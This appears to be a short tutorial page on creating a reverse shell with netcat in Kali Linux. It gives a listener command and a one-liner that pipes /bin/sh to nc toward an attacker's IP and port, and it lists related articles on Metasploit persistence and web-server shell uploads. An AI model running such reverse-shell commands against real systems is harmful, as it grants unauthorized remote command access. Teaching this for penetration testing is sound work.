How to Create Reverse Shells with Netcat in Kali Linux?
Last Updated :
30 Jun, 2020
Netcat is a command in Linux which is used to perform port listening, port redirection, port checking, or even network testing. Netcat is also called a swiss army knife of networking tools. This command is also used to create a reverse shell. Before getting in depth of reverse shell one must be aware of what exactly is netcat tool. To know more, you can go through the article
netcat command.
Generally, in order to hack into a system, an attacker tries to gain shell access to execute the malicious payload commands. The gained shell is called the reverse shell which could be used by an attacker as a root user and the attacker could do anything out of it. During the whole process, the attacker's machine acts as a server that waits for an incoming connection, and that connection comes along with a shell.
Creating Reverse Shells
1. Setup a listener: The very first step is to set up a listener on the attacker's machine in order to act as a server and to listen to the incoming connections. Use the following command to start listening.
nc –nlvp 5555
Replace the port number 5555 with the port you want to receive the connection on.

This will start the listener on the port 5555.
2. Receive connection along with a shell from target: Now as we have started listening, it's time to execute a basic payload at the target so that we could get a reverse shell. Use the following command to send the request to the attacker.
/bin/sh | nc 127.0.0.1 5555
Replace 127.0.0.1 with the host IP of the attacker and 5555 with the attacker's port.

This will give a reverse shell to the attacker which attacker could use to execute any command.
3. Executing a command through shell: Now if we enter any command at the receiver's terminal the output would be displayed on the attacker's terminal.
Similar Reads
Creating a Persistent Reverse Shell with Metasploit in Kali Linux A reverse shell is a type of network connection in which a command shell is executed on a remote machine, and the input and output of the shell are transmitted over the network back to the local machine. This allows a user on the local machine to execute commands on the remote machine and receive th
4 min read
Uploading a Reverse Shell to a Web Server in Kali Linux We basically hack the webserver for gaining access to the system. We look into what is inside the web server and we want to have full control of the web server. Therefore we can download or access the uploaded content. In this article, we are using a reverse shell made with PHP. We are uploading the
3 min read
Creating a Simple Chat with netcat in Linux Firstly, We should know that what is netcat, which is also known as TCP/IP swiss army knife a feature-rich network utility. netcat can do port scanning, transfer files, create a listener, or stream media, and many more. The netcat utility program supports a wide range of commands to manage networks
2 min read
How to Link Kali Linux with Metasploitable 2 Metasploitable 2 is an intentionally vulnerable pentesting environment, that is used for security research also. For a test environment, the user needs to have a Metasploit instance that can access a vulnerable target, and here the target is functioning at our local network which is Metasploitable 2
4 min read
How to make an HTTP GET request manually with netcat? Netcat,also known as "nc", is a powerful Unix-networking utility that enables users to interact with network services through a command-line interface (CLI). It uses both TCP and UDP network protocols for communication and is designed to be a reliable back-end tool to instantly provide network conne
6 min read